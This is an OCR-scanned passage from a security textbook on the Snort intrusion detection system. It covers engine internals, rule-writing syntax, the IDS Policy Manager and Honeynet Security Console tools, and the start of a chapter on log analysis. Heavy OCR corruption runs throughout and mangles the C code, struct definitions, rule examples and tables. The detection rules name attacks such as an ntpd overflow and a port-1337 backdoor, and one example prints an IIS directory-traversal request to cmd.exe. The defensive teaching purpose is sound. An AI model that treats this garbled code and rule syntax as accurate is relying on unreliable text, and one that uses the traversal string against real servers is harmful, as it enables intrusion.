figuration file, initializing the interface, and performing various other steps, depending on the mode selected by
the user. The following sections explain the initialization of the Snort engine.

Starting Up
Snort begins in the main{) function. To start Snort as o Windows service, the main() function:

* Performs validation an the parameters passed to Snore
® Checks for the SSERVICE keyword to see if Snort is compiled for Windows

The SnortMaind) function is then called. It begins by associating a set of handlers for the signals Snort re-
ceives using the signal(] function. A list of these signals, their handlers, and what those handlers do is shown
in Table 6-4.

When SmortMain(| finishes, the return valoe from this function is returned o the shell.

Snort checks the value of errno after each call to signali ). On Windows, some of these signals do not exist and
ermmo is set. In this case, errmo must be reset to zero to avoid invalid results during later checks. Snort defines
a structure pr in the srefsnort.h file. This structure is used to store a set of global variables for Smort to use,
such as command-line arguments. Snort substantiates a global instance of the pr structure to parse and store its
arguments and varicus options. During the first half of the SnortMaini) function, the pv structure is popalated
with the default settings.

SIGHUP SigHupHandieri} Calls the Restart() function to frae all dota reguired and close tha
rrantad peop obiject, using execwl} If Snart was complled with tha
PAR&NOID wvarishle, and execvpl athorwise

Table 6-4 Thess ara tha handlars set for sach signal sent to Snarthaind)
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Parsing the Configuration Fle

Once Snort has finished setting up its plug-ins and preprocessors, it calls the ParseRuleFile() function to parse
the selected configuration file. This function, found in srctparser.c, reads the configuration file line by line and
passes it to the ParseRule(] function. If a forward slash is found on the line, the following lines are read from
the :unﬁguﬁl‘iﬂm file and added to the |:|r'|3ir|.l| line before the ParseRube] function is called. The ParseRule))
function tests the start of the rule to determine what type of rule has been passed.

ParsePreprocessorr’} The ParsePreprocessor|| function is called if the rube line is a Preprocessor statement.
There are two structures used to store information about preprocessors. These structures are defined in the
srciplughase.h file. The list is made up of a series of PreprocessKeywordEntry structures, each containing a
PreprocessKeywordNode structure and a pointer to the next item in the list.

typedef struct Preprocess¥eywordList

[

PreprocessKeywordiode enkry;

struct_PreprocessikeywordList smext;

| PreprocessEeywordList;

Each PreprocessKeyWordMNode structure within the list contains the keyword associated with the preproces-
sor and a void function pointer to the Init|] function for the preprocessor.

typedef struct PreprocessKeywordHods

{
char *ksyword;
wvoid [*func) ichar *);
| PreprocessEeywordnode;
The ParsePreprocessor|] function goes through the list (which was previously initialized by the InitPrepro-
cessors)) function] to determine if the preprocessor exists. When an appropriate match is found for the given
keyword, the function pointer stored in this structure is called to initialize the preprocessor.

Parse QutputPlugin{] 1f the line in the configuration file being parsed describes an ootput plug-in, the
ParseOutput Pluging) function is called to set up the appropriate data structures. The structures used in this
function are defined in the srofspo_plugbase b file. During the InitCueput Plugins() function’s execution, a linked
list oof the OutpurKey wordList data structure is defined.

typedef struct OutputEeywordList

[

OutputKeywordiode entry;

struct_OutputKeywordLlist *next;

| Dutput¥eywordList;

Each member of this list consists of an OutputKeywordMode data structure and a pointer to the next ele-
ment in the list. The OutputKeywordMode consists of the keyword itself, the associated Function pointer, and
a character representing the type of node.

typedef struct OutputKeywordiode
[
char *kpeyword;
char node_type;
void [*func) [char +);
| DutputKeyworduode;
Much like the ParsePreprocessor() function, the FarseOutputPlugin] function uses a temporary pointer to

the linked list of structures and goes through the list searching for the appropriate cutput plug-in. However, it
uses the GetOutputPlugin) function from the srefplugbase.c file to perform the search.
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DutputKeywordods w3etCutputPluginichar +plugin_names)
¢
CutputKeywordList *list node;
if{!plugin_name)
return NULL;
ligt_npode = Cutputieywords;
while(list_node]
{
if{strcasecmpiplugin_name, list_ node-sentry keyword) == 0)
return &(list_node-sentry);
list_node = list_node-sneExt;
1
FatalError{*unknown output plugin: "is'*,
plugin_nams);
r=turn HULL;
1
Omice the appropriate OutputKeywordMode has been retrieved, the ParseOutputPluging) function tests the

node_type variable and performs various actions based on it. Regardless of node_type, the node pointer is de-
referenced and the configuration function pointer is called.

Decoding

Omece Snort has finished initializing, execution begins at the ProcessPacket() function when a new packet is
received. The definition of the ProcessPacket(] function is as fol lows:

wvoid ProcessPacketichar *usar, struct poap pkthdr +
pkthdr, u_char * pkt)

When the ProcessPacket|] function is called, it begins by incrementing the packet count and storing the time

the packet was captured. Following this, the grinder function pointer is called and the arguments to Process-
Packet(} are passed to it

I*grinder} (&p, pkthdr, pkt);

Possible Decoders

The possible decoders and their descriptions are shown in Table 6-5. Each of these decoders can be found in
the sreidecode.c file.

At a basic level, each of these decoders parses its appropriate header data, validating certain fields before
sending the packet pointer to the next header and passing the pointer to the next decoder.

The DecodeEchPkt() function takes the following three arguments:

* Facket * fr: 2 pinter to storage for the decoded packet
® struct peap_pithdr %= a pointer to the packet header
= plethdr, w_imt8_t * pkt: a pointer to the actual packet data

The first thing the DecodeEthPkt(] function does is pass the Packet structure through the bzero() function.
The bzero(} function sets the values of the specified memory addresses to zero. The Packet structure, defined in
the srcidecode.h file, is a long structure that contains attributes for all of the types of decoder packet data that
SNt SUppoTis.

Mext, the pkth field of the newly zeroed Packet structure is set to a pointer to the pkthdr argument and passed
to the function. The pkt field of the structure is also set to the pkt argument. Some validation is then done o
make sure that the length of the captured packet is greater than or equal to the size of an Ethernet header. 1f
this is not the case, the decoder ends and an error message is generated.
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Table 6-5 Thesa are all the decodars that can be used with Snort

The current position of the pkt pointer that was passed to the decoder is then interpreted as an Ethernet
header, and the location of this is stored in the Facket structure as the eh field. This newly located Ethernet
header is then tested to determine the type of Ethernet packet that is being decoded.

Depending on the type of Ethernet packet, the appropriate Decode() function is called o decode the next
layer of the packet. The size of the Ethernet header is added to the pkt pointer to determine where the next
header should be stared. This is done until everything is decoded and all of the possible Packet structure fields

are populated.

Preprocessing

After the packet decoding is finished, the ProcessPacket(] function tests to see the mode in which Snort is
running. If Snort is running in packet-logger mode, the CallLogPlugins|) function is used to log the packet
accordingly. If it is in DS maode, the decoded Packet structure is passed to Preprocess() to begin the preprocess-
ing phase.

The Prepracess|) function begins by declaring a temporary pointer, idx, to the linked list of PreprocessFunc-
Mode structures called PreprocessList. This preinitialized list holds the function pointers ta each of the Check])
functions in the preprocessars that have been initialized by the configuration file.

The function then uses the idx pointer to go through the list, dereferencing and calling the check functions
for each of the preprocessors. The decoded Facket structure is passed to each of the preprocessors in furn.

After all of the preprocessors have been called, the Preprocess|) function checks the value of the do_detect
variable set during the initialization of Snort. I calls the Detect() function if the do_detect variable is set. The
Facket structure is passed to this function. The do_detect variable is a guick way o tell Snort not to process
rules through the detection engine. If a preprocessor decides that a packet should not be examined, it can unset
the do_detect wariable.

Detection

The detection phase begins in the Detecti] function, although this function does nothing more than verify the ex-
istence of the packet and IP header before passing the packet to the fpEvalPacket|] function for further testing.

The fpEvalMacket(| function tests the ip_proto field of the IP header to determine what to do next. If the
packet is TCF, UDP, or ICMFT, then the fpEvalHeaderTop|), fpEvalHeaderUdp(), and fpEvalHeaderlCMPY) func-
tions are called. Otherwise, the fpEval Headerlp)) function is used to check, based on 11

By first checking ports and protocols for a given packet, Snort is able to limit the number of rules that must
be evaluated, greatly reducing the amount of work Snort needs to perform. For all of the fpEval(| functions other
than fpEvalHeaderfCMP(), the first step is to call the prmFind RuleGroup)) function. This is done to make sure
a match exists for the source and destination ports mentioned in the rule. This is a quick way to eliminate rules

without complex pattern matching.
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The prmFindRuleGroup() function returns a number representing the appropriate rule group that
requires more inspection. The block comment for this function defines the behavior for the rerurn value as
the following:

* 0: Mo rules

* 1: Use destination rules

® 1. Use source rules

® 1 Use both destination and source rules

= 4: Use generic rules

Omce a suocessful match for the ports is found, the fpEvalHeaderSW) function is entered. This function
begins by testing to determine if there are any Uniform Resource Identifier (URI) rules_ 1f there are, the rule
data is normalized first. Eventually, the OTN |Option Tree Mode) and BTHN (Rule Tree Mode) lists are gone
through to test the rest of the detection options. When a match is found, an event is added to the appropriawe
quewe, using the fpadd Matchi) function.

There are three event queues set up: alert, log, and pass. The order in which these queues are checked is based
on the order specified by the user at run time. By default, the alert queue is checked first, followed by the log

queue, and finally the pass queve.

Content Matching

T accomplish the complex pattern marching wsed in Snort rules, Snort uses o series of string matching and
parsing functions. These functions are contained in the sro'mstringc and sro/mstring h files in the Snort source
tree. Comtent matching implemented with the mSearchi ) function utilizes the Boyer-Moore algorithm to accom-
plish the match. The Boyer-Moore algorithm has an interesting property: the longer the pattern is, the more the
algorithm’s performance improves.

The detection engine slightly changes the way Snort works by having the first phase be a setwise pattern match.
The longer a content option i, the more exact the match. Rules without content slow the entire system down.
Some detection options, such as pere and byte test, perform detection in the payload section of the packet, rather
than using the setwise pattern-matching engine. 1f at all possible, try to have at least one content option.

Table 6-& shaws four content-matching functions.

The Stream4 Preprocessor

The stream4 module provides TCF stream reassembly and stateful analysis capabilities to Snort. Robust stream
reassembly capabilities allow Snort to ignore stateless attacks not associated with an established TCP stream.

Stream# also gives large-scale users the ability o track many simultaneous TCP streams. Streamd is set o
handle 8,192 simultansous TCP connections in its default configuration and can scale to handle over 100,000
simultanesus connections. Stream# can also provide session tracking of UDP conversations. To enable this in
the Snort binary, pass —enable-stream4udp to the configaration file before compiling.

Stream4 contains two configurable modules:

= Global Stream4 preprocessar

= Stream4 reassemble preprocessar

Irit m&earchO¥char #, Ink, char ®, Case-Insarsitive wersion of mSaarchil
irit, int %, int =)

irt *maka_shiftkhar #, Ingk Creataes a Boyaer-Maoora shift table

Table 6-& These are content-matching functions usad in Snort
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The global Stream4 syntax is as follows:
preprocessor streamd: [ooinspect], [asynchronous_link), [keepstats
[machine|binaryl],
[detect_scans], [log_flushed streams], [detect state problems],
[disable svasion_alerts], [timeout =zsecondss], [memcap =bytess], '
[max_sessions <num sessionss], [enforce_state], b
[cache_cle=an sessions «mm of s=ssicass], [btl_limit =counts], 5
[self preservation_threshold «<thresholds], %
[self_ preservation_pericd <secondss),
[suspend threshold <thresholds], [suspend period <secondss], %
[state_protection], [server inspect_limit <bytess], %
[=nable udp sessicns], [max wdp sessions <mam sessionss], 3

[udp_ignore any]

The Stream reassemble syntax is as follows:
preprocessor streamd _ reassenble: [clientonlyl, [serveronly]. [both],
[ncaleres], &
[favor_cld], [favor_new], [Elush_on_ale=rc], &
[flush_behavior random|default|large_window], %
[flush_base soumbers), [flush_range =mmbers], %
[flush_seed <noumbers), [overlap limit <numbers], %
[ports «portlists], [smergency ports =portlisks] %
[zero flushed packets], ([flush_data diff size «oumbers] 3
[large_packet performance]

Inline Functionality

The inline functionality of Soort is implemented utilizing the iptables or ipfw firewall option o provide the
functionality for a new set of rule types: drop, reject, and sdrop.

The fconfigure script detects which firewall option is available and will compile Snort with inline support.
In order for Snort to have any effect on the packets it can see, the packets must be selected and quewed via the
ipgueue medule for iptables. The following commands can be wsed to quewe all of the network traffic that the
15 sensor can see:

+ iptables -A OUTPUT -j QUEUE

« iptables -4 INPUT -j QUEUE

+ iptables -A FORWARD -j QUEUE
Inline Initialization
The inline_flag variable contained inside the pv structure is used to toggle the use of inline functionality in
Snort. Snort defines the InlineMode() function to test the status of this variable as follows:

int InlinspMode(]

[

if [|pw.inline_£lag)
return 1;

return 0O;

'
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Inline Detection

Tar receive packets from ipqueue or ipfw, calls to the Ipgloop(] and Ipfwloop{) functions are added to the
snortbdain{] function. These functions read packets from the appropriate spurce and inject them back into the
Snort engine to be processed. This is accomplished via the ProcessFacket)) function. When an event is gener-
ated, the rule type is checked to determine the appropriate action to take. The event classification code is used
to check for the inline rule types. If a drop, sdrop, or reject rule is found, the DropAction(), SDropAction, and
RejectAction() functions are called accordingly. The following is the event classification code:

¥ifdef GQIOS

case BULE DROP:

Dropaction(p, otn, &otn-»event_data);

break;

case ROLE_SOROP:

S0ropActionip, otn, &Sotn-sevent_data);

break:

case BULE REJECT:

Rejectaction(p, otn, &otn->event dakta);

break;

$endif j+ GIDS *f

Writing Snort Rules

Snaet uses a simple, lightweight rules description language that is both flexible and powerful. Snort rales are
divided into twa logical sections: the rule header and the rule options. The rule header contains the rule’s action,
protocol, source and destination IP addresses and netmasks, and source and destination ports. The rule options
comtains alert messages and information on which parts of the packet should be inspected.
Below is an example of a Snort rule:
alert tcp any any -» 192.16B.1.0/%4 111
loontent:®|00 0L 86 a5|*; msg:"mountd access<;)

The Rule Header
The fields of the rule header are as fol lows:
= Raule action
= Fratocol
= IF address
® Port information
= Diirectional operator

Ruife Action

The first fueld of any rule is the nale action. This describes what Snort should do when a valid match has been made
for the signasture. Table -7 shows the defaule Snort rule actions, while Table 5-8 shows Snoct's inline rule actions.

(pute__[ooscription |
L L —r—

Alart An alert 1s qanaroted and the packat s logged.

Dyramic  Tha rule will remmain dormant untll triggered by an

actiuzta rulg, ot which point it acts 220 log nule.

Table 6-7 Thass are tha dafault Snort rule actions




E-11

Chapior &

IFTablas will tha packet, and Snort will log it
£ TCF rasat will be returnied If the protocal s TCR,
and an KCMP port-unreachoble packet will b sant if
It Is WDP,

Table 6-8 This shows Snort's Inlins ruls actions

& stotic port con be spacified, 22
such as 22 for 55H tseura shall)
or BO far HTTP.

Tha ! oparotor will match jFr] This will match oll ports except for port 22.
awarything but tha port or
rongs specifiad.

Table &-9 Thaesa are the methaods of spedfying port numbsrs I a Snort rula header

Protocol
The next field in the rule header is the protocol field This field dictates which protocol the rule should match.
Snort supparts the following four protocols:

= TCP

= Unp

= [P

= [CMP
IP Address and Port Information
Adfter the pratocol field is the IF address and port information for the rule. The syntax is as follows:

«15T IP ADDREEEs «15T DPORT> «ODIRECTION OFERATOR= «zZnd IPs «3nd DORT=

1P addresses are specified in classless interdomain roating (CIDR) notation. In CIDR notation, a group of
IF addresses are specified in the format "A_B.C.DVnetmask.” The keyword any can be used to specify any IP
address. The ! operator can be used to negate the IP selection. For example, 1192, 168.0.0/24 wil | match any [P
address outside of the 192.168.0.0-192.168.0.255 range. A list of 1" addresses can also be provided by using a
comma character between addresses and enclosing the list in square brackets.

Port numbers can be specified in several different ways. Table 6-9 lists each of these, along with an example
and an explanation of what will ke matched.
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Directional Operator
The directional operator is a symbal that describes the orientation of the traffic needed to trigger the alert. This
operator can be one of the two posible options shown below:
= < is the bidirectional operator, which will trigger traffic flowing in either direction.
= - will trigger only when traffic is flowing from the IP address and port on the left to the IF address and
port on the right.
Rule Options

The main body of any Snort rule is composed of the rule options. The rule options specify exactly what o
match and what to display after a successful match. This takes the form of a semicolon-delimited list enclosed
in parentheses. The four types of rule options are as follows:

* Mletadata opticns provide information related to the rule, but do not have any effect on the detection
itself.

* Payload detection options look for data inside the payload of a packer.

* Monpayload options look for data elsewhere in a packet.

® Postdetection options are events that happen after a rule has been triggered.

Figure 6-2 shows all available options, broken into the four categories.
Metadata Rufe Options

msg The msg option can be used to specify a simple text string that will be printed along with an alert or
packet bog. The format of this option is as follows:
mag:-"<Hessage bexts";

Use a backslash [\ before any characters, such as quotation marks, that might otherwise confuse Snorts
rules parser.
reference The reference option directs the end user to relevant information about the vulnerability that trig-
gered the alert. The reference system supports several of the most popular information security databases on the
Internet by ID, along with the ability to enter unigue URLs. The options available are shown in Table 6-10.

Post-
detection
Cptions

Metadata Payload Menpayload
Qotions Qptions Dptions

k 4
Copyrigh © by ER-Ganncil
AT righis remrved. Roproshacion @ erialy probibeed

Figure 6-2 These are all available Snort rule aptions.
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VE This Indicotes that the vuinerbility hos ssocsted common
wulnerobilitios and axposures identfied. Snort will oppend the numbar

prowided to the URL httpedose. mitreorgicgl-bintovename.cgl nama =

Massus Thits takes the 10 of 0 Nesaus plug-In used to detect the vulinarability and
appands It to httprogl nessus.ong/plugins/dump. phpafd=.

Arachnids Tha Arachnids refarence number 15 appended to httptvwwehitehats.
cominfo/ins.

Tabde 6-10 Theso are Snort's raforenco systam options

Multiple references can be specified. The format of the reference option is shown in the following example:
reference: «id systems,«cids; [reference: «<id systems,cids;)

sid  The sid wption is used to provide a unique identifier for Snore rales. The Snort manual suggests that the

sid option should always be used with the rev opticn, and that rules should be numbered according to the fol-

lowing rules-

* 10 are reserved for future use

= 100-1,000,000 are included with the Snort distribution

* » 1,000,MH} can be used for custom local rules

The sid rule option uses the following syntax:

sid:«rule id numbers;

rev  The rev option is used to provide the unique version number of the rule. This, combined with the sid field,
makes it easier to update and maintain signatures. The syntax of the rev option is as follows:

rev:<ravision numbsrs;

classtype  Snort provides a set of default classifications that are grouped into three priorities (high, medium,
and low), which can be used to classify alerts. The classtype option categorizes alerts to be atrack classes. The
user can specify what priority each type of rule classification has. Rule classifications are defined in the clas-
sification.config file. The config file uses the following syntax:

config classification: =class names <class descriptions <default prioritys
The fallowing is an example:

alert top any any -= any Bl {msg:"EXPLOIT ntpdx overflowT;

% dsize: »12B; classtype:attempted-admin; pricrikby:10 |;

alert top any any -= any 5 {msg:"SMTF expn roobt*; Elags:a+;

% content:"expn root”; nocase; classtype:attempted-recon;)

Table 6-11 shows Snore’s default classifications.
Payload Detection Rule Options

content The content option allows the user to set rules that search for specific content in the packet payload
and trigger a response based on that content. The content option is implemented using a Boyer-Moore algorithm,
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Table &-11 Thesa are Snort's default dassification
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which requires a relatively large computational load. The pattern supplied to this option can consist of ASCII
data, binary data, or both. The content option performs case-sensitive searching by default. When matching
hinary data, the values are specified in hexadecimal format and enclosed between two pipe (1} separators. The
fullowing is the syntax of the content option:

content:[!] “<content stringsT;
For example:

alert top aoy any -= 192.168.0.1 1337 (mag:*Certified Security Analyst<;

content:"|de ad be ef|Module 87}

1f the rule is preceded by a 1, the alert will be triggered on packets that do not contain this content.
Several other options work in conjunction with the content option to modify its behavior:

* offser: The oifset option specifies where to start searching for a pattern within a packet; this option
misdifies the previous content option in the rule. An offset of 4 would tell Snort to start looking for the
specified pattern after the first four bytes of the payload. For example:

alert top any amy -= any Bl {content: "cgi-bin/phf”; offset:d; depth:20;]
* depth: The depth option specifies how far into a packet Snort should search for the specified pattern.
* distamce
* yethin
* mocase: The nocase option specifies that Snort should look for the specific pattern, ignoring case.
For example-

alert btocp any any -x any 21 (msg:"FTP ROOT"; content:™0SER roob”; nocase;]
* rawhytes

uricontent URLs, alsecalled URIs, can be written in many different ways. Because of this fact, it can be very
difficult for an 1D5 to match abnormalities in a URL. The uricontent option allows the rule author to perform
a content match against a normalized URL. This means that directory traversals (..f) and encoded values will
be converted to ASCIT before the match is made.

The syntax of the uricontent option is the same as the content option:

uricontent:[!] «<pattarns;

The wricontent parameter will make Snort search the normalized reguest URI field. This means that

when writing rules that include things that are normalized, such as %2f or directory traversals, these rules will
not abert.
For example, take the following URL:

JSecripts/. Scodat. . fwinnt /system3zfomd.exe?fc+wver

This will get normalized into the following:

Swinnt/systen3iz/oad.exe?fc+ver

For another example, take this URI:

‘begin[wverbatim} fcgi- bin/asasasasasssassasasaaaaaaaf. dzszfphsef?
It would get normalized into:

fogi-bin/phiz

fragoffset  The fragoffset option is used to check the IP fragment-uffset field. The < and » operators can be
used to determine if the fragoffset value is less than or greater than the decimal value provided. To catch all the
first fragments of an 1T session, use the fraghits keyword {described in the next section) with the more fragments
flag and a fragoffset of 0. The fragoffset syntax is as follows:

fragoffsst: [«|s)znumbars
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For example-

alert ip any any -» any any % [msg: *First Fragment”; fragbits: M; frag-
offs=t: 0O;]

fraghits The fraghits keyword is used to determine whether fragmentation and reserved bits are set in the 1P

header. The flags shown in Table 6-12 are used to select which hits to match. Its syntax is as follows:
Eragbdts:[+-+]=[MOR] =

ip_protoe  The ip_proto option tests for a particular protocol name or mumber and checks against the

1P protocol header. For a list of protocols that may be specified by name, see fetc/protocols. Its syntax is
as Fﬂjh\\l!:

ip_proto:[is«] «zname or mumbers;
This example looks for IGMP traffic:
alert ip any any -» any any {(ip_proto:igmp;)
ttl The til keyword checks the 1P time-to-live value. This option is useful in the detection of traceroute at-

tempts. The conditional operators <, =, and = can be used, as can the range operator [min num-max num). Its
syntax is as follows:

gbl: [[enumbers-]sz=] cnumber:s;
This example checks for a time-ta-live value that is less than three:
gkl:e3;
This example checks for a time-to-live value that is between three and five:
ekl:3-5;
id  The id opticn is used to check the 1P ID field for o specific value, Some tools (expleits, scanners, and ather
programs) set this field specifically for various purposes. Its syntax is:
id:emumbers;
This example lsoks for the IP 1D of 12345
id:13345;

flags The flags option is used to determine the status of various TOP flags. Table 6-13 shows the flags and
their descriptions.

The syntax of flags is as follows:

flags: [!|*|+]«FERPADLI0> [, «FERFATLZ0=] ;

Disscriptlon
1] Don‘t fragmant
* Match If the provided bits are sent
1 Miatch If the provided bits aro not sant

Table 6-12 Thasae flags can be wsed with fraghits to
datarming which bits to match
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The second set of options following the comma i used to ignore the state of the specific bits provided. An
example of this is:

8,12
This will match if the 5¥ M bit, ignoring the two reserved bits, is the only bit set.
itype  The itype option is used to check for a specific ICMP type value. Its format is as follows:
itype:|[«|s]znumbers[«sznumbers];
This example kooks for an ICMP type greater than 30:
itype:s30;

jcmp_id The icmp_id option is used to test the 1D field of the ICMP header. Its syntax is shown here:

icmp_id:enumbers;

Activate/Dynaimic Rules
Activate rules act just like alert rules, except they also direct Snoct to add a rule when a specific network event
occurs. These added rules are dynamic rules, which act much like log rules.

The activate and dynamic rules can be replaced using the flowbits option. One example in which these rules
may be useful is when capturing some of the conversation to a TCF backdoor on port 1337, The conversation is
only warth monitoring after the login details have been received. The following example shows an activate rule
that will activate the dynamic rule:

Activate tcp !SHOME_NET any -> SHOME_KWET 1337 [flags: FA; conotent:
*LOGIHN T;
activates: 1; msg: "Backdoor Login Detected?;) 7

When this rule is triggered, it activares any dynamic rule that contains the activated_by: 1 option. The main
use for this is to log 2 number of packets after an attack has occurred. The count option is used in a dynamic
rule to specify the number of packets to collect. The following rule shows this option:

dynamic tocp !SHOME_MET any -» SHOME MET 1337 {activated by: 1;
count: S0;)

This rule will log 50 packets from any IF address that is not the SHOME_NET, inbound to the SHOME _
MET on port 1337, capeuring the backdoor traffic.
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Writing Good Snort Rules

When developing Snort rules, try to keep the following concepts in mind:
= Develop effective content-matching strings
= Catch the valnerability, not the exploit
= Catch the oddities of the protocol in the rule
= Optimize the rules

Snort Tools

1DS Policy Manager

621

105 Policy Manager was written to manage Smort 105 sensors in a distributed environment. This program
allows users to modify Snort configuration files with an easy-to-use graphical interface. Its features include

the fnﬂnw'.ing:
® Mlerge new Snoet rules into existing rule files
= Make quick changes to Snort rules
= Update rules via the Web
= Manage multiple sensors with multiple policy files
= Upload policy files via SFTP, FTF, and file copy
= Hestart sensors after upload
* Full support for Snore 2.8
® External rule set supported for BleedingSnort and Snort Community rules

= Fasy to learn details about a signature from popular databases such as CVE, Bugtrag, McAfee, and
Snort.org Reference

® Integration with Activeworx Security Center
IS Policy Manager is pictured in Figure 6-3.
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Figure 6-3 D5 Policy Manager configures Snort with a graphical user interface.
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Snort Rules Subscription

Sourcefire, the company behind Snort, uses a registration and subscription model for distribution of new rules.
Rules are grouped into the following categories:

* Sourcefire VRT Certified Rules—The Official Snort Ruleset [subscribers only|

* Sourcefire VRT Certified Rules—The Official Snort Ruleset

* Community Rules

Omee Sourcefire creates a new rule, it is available only to subscribers for the first 30 days, after which it is
available to everyone. Rules created by the community are always available to the public.

Customers running Snort for personal use can pay $29.9% per year to subscribe. Enterprise customers are
charged $499 per sensor per year for one to five sensors, or $399 per sensor per year for six or more sensors.

Honeynet Security Console

Haneynet Security Console is an analysis tool to view events on a personal network or honeynet. It views events
fram Snort, Tepdump, firewall, Syslog, and Sebek logs. It can also correlate events from each of these data types.
The following are some of its key features:

* Powerful interactive graphs with drill-down capabilities

* Simple, yet powerful, searchicorrelation capabilities

* [Integrated IP tools

* Tepdump payload and session decoder

* Built-in passive 05 fingerprinting and geographical location capabilities
* Quickly view detailed event information from the Internet

* Dashboard view to quickly see status of events

* Limited to a single Snort sensor

Haoneynet Security Console can be seen in Figure 6-4.
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Figure 6-4 Honeynet Security Console deplays and analyzes events fram
seweral 105 programs.
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Chapter Summary

Snort is a powerful intrusion detection system (105) and traffic analyzer.

A Snort configuration file has four major components:

= Variables

o Preprocessors

B Dutpat plug-ins

= Rules

A Snort rule contains a rule header and rule options.

Users can write their own Snort rules either manually or with the assistance of tools.

623

Review Questions

Mame and briefly describe the four modes in which Snort can run.

. What are the four sections of a Snort configuration file?

. What is the purpose of a Snort preprocessor?

. How does Snort define a port scan?

For what purpose dies Snoct use output plug-ins?
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6. How does Snort use the Stream4 preprocessor?

7. Deescribe the fields contained in a Snort rule header.

H. What protocols does Snort support?
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Hands-On Projects

£,

1. Install Snort 105,

Mavigate to Chapter é of the Student Resource Center.
Open the Snort_2_8_2_rcl_Installer.exe file. This will start the Snort installation.

Click the I Agree button to agree to the terms of use.

Choose the appropriate installation option, as shown in Figare &-5, and dlick the
Mext button.
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Figure 6-5 (Choose the appropriate installation option and dick the Next button.
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Check the components you wish to install, as shown in Figure 6-6, and click the
Mext button.
% Snort *.8.7 ACA Sclup
Checnse Components =
Cycorzwbbd Scanacs oF Snern R VL v wank i szl ‘:“.?
Cocch B compcnorks coawen: bo skl ardurchzod by corooreks so dorteacro b
retad. Ok oz ko contiruz.
fe ek w7 L
[ rnne e des
E Ik ot vt i kvrp .
|2 azvervar
P eud el B2
Holeof - Tret el Swbapn 203
[ v Ezzh , M=k o ] e ]
Coparigh © by AE-Cinmneil
AN righis somerved. Roprochcion i sricdy probibined
Figure 6-6 Check the components you wish to install and dlick the Next button.
Browse to or type in the installation location and dick the Mext batton.
Click the Close button to complete the installation.
Click the OK button at the confirmation screen.
1. Get an OINK Code.
Using a Web browser, visit Ittpfuown srortorgl.
Create an account.
Log in bo your account.
Scroll down on the Account Setting page and click the Get Code batton, as seen in
Figure 6-7.
L] ETRET FEnrRTT T ST T LSl T A TRA T

[[au oo

Copatighe © by 10-Cimnail
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Figure §-7 Click the Get Code button on the Account Setting page.

3. Create rules using [DS Policy Manager.

Mavigate to Chapter B of the Student Resource Center.
Crpen the file idspm_y2. 20.20.exe and install IDS Policy Manager.
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From the Start menu, launch 105 Policy Manager.

Choose Options, then Settings, and finally Miscellaneouns, and provide your code in the
Oink Code text boo, as shown in Figure &-8. Click the OK button.

Select Snort Policies and click the Add Policy batton.

In the Mame text box, provide the policy name, and in the Description text box, provide
a description, as shown in Figure 6-%, and then click the OK button.
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Figure 6-8 Enter the DINK code in the Qink Code text box and dick the OK button.
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Figure -8 Enter a name and desoription, and then dick the OK button.
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In the Initialize Policy dialog box, click on the Defined tab and select the location.

Select Snort Sensor and click the Add Sensor button.

[ |

® In the Local File tab, browse for the file and then click the Start button.
[ |

|

Complete the entries in the Sensor dialog boo, as shown in Figure 6-10, and dick the

OK button.
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Figure 6-10 Complete the entries in the Sensor dialog box and dick the OK
button.

4. Install and use Honeynet Security Console.
® Mavigate to Chapter 6 of the Student Resource Center.
u Open the hscv2.6.0.4.exe file and install Honeynet Security Console.
® From the Start menu, launch the Honeynet Security Consale.
® Provide your username, password, and IP address, and then click the Login button.
u Set the global time filter.
® Choose View, Tabbed Forms to change between MDD and tabbed desktop views.
® From the Views menu, choose Internet Tools to launch 1P toals.
» Click the IDS menu on the beft to view [D5 event information.



Log Analysis

Objectives
After completing this chapter, you should be able to:

Analyze syslog

Analyze Web server logs
Analyze router logs
Analyze wireless network device logs
Analyze Windows logs
Analyze Linux logs
Analyze SQL server logs
Analyze VPN server logs
analyze firewall logs
Analyze ID5 logs
Analyze DHCP logs
Configure NTP

Use log analysis tools
Use log alert tools

Key Terms

Natwork Tima Protocol (NTP)  a protocel used to synchromize the system clocks of computers in
a packet-switched, variable-latency data network with a remote time server or other independent
time source

Sysloeg  a client-server protocol used to send small clear-text messages; typically used for
computer system management and security auditing

71
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Introduction to Log Analysis

Logs are the record of system and network activities. They are used o keep track of the netwark, user activities,
and services. A network administrator is responsible for analyzing different types of logs, including:

Metwork device logs (firewall, roater, etc.|
Web server logs

Application server logs

Directory server logs

DHCP hugs

VPN client logs

This chapter will discuss these logs as well as how to analyze them.

Events That Must Be Logged

There are six categories of events that must always be logged:

Botn b e e

Access control and administrative policy events

. Data confidentiality and imtegrity policy events
. Mondiscretionary policy events

. Awailability of policy events

. Cryptographic policy events

. Default and dependent events

What to Look For in Logs

An administrator should look for all of the following things in log files:

-

-

Probes to ports that have no application services running
Unsuceessful logins to the firewall

Suspicious outhound connections

Source-routed packets

Huost operating system log messages

Changes to network interfaces

Changes to firewall policy

Additions, deletions, and changes of administrative accounts
Diropped and rejected connections

Time, protecol, IP addresses, and usernames for allowed connections

Automated Log Analysis Approaches

Automated log analysis is mainly used for intrusion detection purposes. There are three ways to approach this:

[

Statistical famomaly detection): This focuses primarily on defining characteristics of a normal user or
group and employing statistical measures to determine any anomalies in the user or group’s behavior.

. Rule-based expert system: Rule-hased expert systems are used to monitor and control the operations of

complex real-time systemns. These systems detect misuse by using rules thar tend to indicate an intrusion.

. Machine learnming: Machine learning predicts events by recording past events and using inductive learning

algorithms.
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Log Shipping
Luxg shipping is an automatic process that involves backing up the database and transaction log files on a produc-
tion S0)L server and then restoring them to a standby server. There are several benefits to log shipping:

= It does nat require expensive hardware and software.

= It is very reliable and easy to maintain once implemented.

® The manual failover process is generally very short, typically finishing in 15 minutes or less.
There are, of course, some problems with log shipping:

* Log shipping failover is not autematic. The database administrator must do it manually.

® There can be some downtime.

= Same of the data may be lost, depending on how the log shipping is scheduled and whether the transac-
tion log on the failed production server can be recovered.

® The databases that are failed over to the standby server cannot be used for anything else, while the data-
bases on the standby server that are not used by the failover can be wsed.

The process of log shipping is as follows:

Prepare the necessary hardware and software.

. Synchronize the SQ)L server login 1Ds between the production and standby servers.
Create twa backup devices for database and transaction log backups.

. On the production server, create a linked server to the standby server.

. Oin the !hr.u:lb}' SETVErs, Create two stored pu'-n-:\edure:

. O the production server, create two S0L server jobs that will be used to perform the database and trans-
action log backups.

7. Start and test the log shipping process.
8. Drevise and test the failover process.

T A

% Monitor the log shipping process.

Analyzing Syslog

Syslog is a client-server protocol used to send small clear-text messages. It is typical ly used for computer system
management and security auditing. The syslog protocol is used in delivering log information from a sender to a
receiver across an I[P network. This information is sent via UDP andfor TCF. Because a wide variety of devices
